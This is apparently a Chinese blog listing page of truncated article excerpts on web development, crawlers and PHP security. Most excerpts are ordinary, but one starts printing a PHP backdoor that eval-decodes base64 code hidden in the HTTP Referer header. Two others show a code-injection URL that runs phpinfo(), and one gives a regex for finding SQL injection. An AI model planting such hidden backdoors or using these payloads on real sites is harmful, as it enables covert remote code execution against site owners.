2022年04月20日
点击“编辑代码进到在线编辑器”:在以下红色标示的区域内编辑你的代码就可以使用SAE了。另一种代码提交方式：SVN如果你想更方便的提交代码，更好的和世界同步，就抛弃FTP投向SVN吧，首先到 http://tortoisesvn.net/downloads.html下载一个SVN的软件。安装完成之后在你的桌面点击右键就可以看到：点击“Checkout”注意：URL of repository 写 https://svn.sinaapp.com/lazydemo/1 lazydemo换成你的应用名，
2022年04月20日
关于如何在网页中加入百度地图，其实并没有想象中那么复杂，因为，这是一个开源的时代。下面简单介绍一下如何在网页中加入百度地图。为什么是简单介绍一下呢？因为是真的很简单……一、打开地图生成器这个地址不好找，建议大家添加到收藏夹，百度地图生成器http://dev.baidu.com/wiki/static/map/API/tool/creatMap/二、创建地图1.定位中心点，默认为北京，点击切换，输入公司的具体所在城市和具体地址。这个时候，地图会切换到该地点范围内。2.设置地图，这一点基本上不用管
2022年04月20日
首先来看一下Quora网站开发主要利用到的技术：Web层与CMSHAProxy作为前端负载均衡服务器，反向代理服务器是Nginx，Nginx后面则是Pylons(Pylons + Paste),承担动态Web请求。Webnode2与LiveNode这两个内部系统承担创建、管理内容的重任，Webnode2生成HTML、CSS与JavaScript，并且与LiveNode轻度耦合。LiveNode的作用用以显示Web页面内容。用Python、C++与JavaScript写的。特别提到用到了jQuer
2022年04月20日
随着建站技术的快速进步发展，人们对于网站的认识也发生了很大的变化，自然对于网站的诉求也更加高了。微网站、APP、微商城、企业官网等适应人们生活的产品也应运而生，古语有云：人往高处走，水往低去流，生活水平提高了，人们的审美水平自然也得到了升华，因此高端网站建设一跃成为当下竞相追逐的网站建设流行风。 高端网站建设相较于普通的网站有诸多不同，无论是定位还是价格等等，但有一点是不变的，那就是两者都是用来给用户看的，只是这个看的过程不同而已，可能有的人打开了随即就关掉了，而有的人则打开了会浏览一会再选择
2022年04月20日
爬虫是什么呢，简单而片面的说，爬虫就是由计算机自动与服务器交互获取数据的工具。爬虫的最基本就是get一个网页的源代码数据，如果更深入一些，就会出现和网页进行POST交互，获取服务器接收POST请求后返回的数据。一句话，爬虫用来自动获取源数据，至于更多的数据处理等等是后续的工作，这篇文章主要想谈谈爬虫获取数据的这一部分。爬虫请注意网站的Robot.txt文件，不要让爬虫违法，也不要让爬虫对网站造成伤害。 反爬及反反爬概念的不恰当举例 基于很多原因(如服务器资源，保护数据等)，很多网站是限制了
2022年04月20日
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果 本地测试结果如下图。 本程序只作为学习作用，请勿拿去做坏事。 复制代码代码如下:˂?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9) { eval(base64_decod
2022年04月20日
作者：phpeval前段时间一个程序出的问题。就和这差不多。复制代码代码如下: 对于上面的代码。如果在URL提交http://www.phpeval.cn/test.php?c=phpinfo(); 就可以发现phpinfo()被执行了。而相应的提交c=echo 11111; 发现1111也被输出了。这个代码被执行了。(好些PHP的代码在写文件的时候。都没有注意到这一点。他们在代码中写php的文件的时候。把代码加在双引号之内。然后过滤掉双引号。认为这样就不能执行了。实际上是可以的。)还有一些利用
2022年04月20日
前段时间一个程序出的问题。就和这差不多。复制代码代码如下: 对于上面的代码。如果在URL提交http://www.phpeval.cn/test.php?c=phpinfo(); 就可以发现phpinfo()被执行了。而相应的提交c=echo 11111; 发现1111也被输出了。这个代码被执行了。(好些PHP的代码在写文件的时候。都没有注意到这一点。他们在代码中写php的文件的时候。把代码加在双引号之内。然后过滤掉双引号。认为这样就不能执行了。实际上是可以的。)还有一些利用方式，比如：复制代码
2022年04月20日
今天看一个项目代码，文件不多，不过每个文件中都N多注入，一个一个看实在太累，索性花了点时间，弄了个正则表达式，搜索出来，然后再将安全的筛选出去。省了不少时间的说。 1.查找select、update、delete语句 ((select|SELECT|update|UPDATE|delete|DELETE) .*(from|FROM|set|SET) .*(where|WHERE) .*) 查询语句,对于没有条件判断的基本不存在注入问题，因而仅搜索此语句即可 例子： select * from u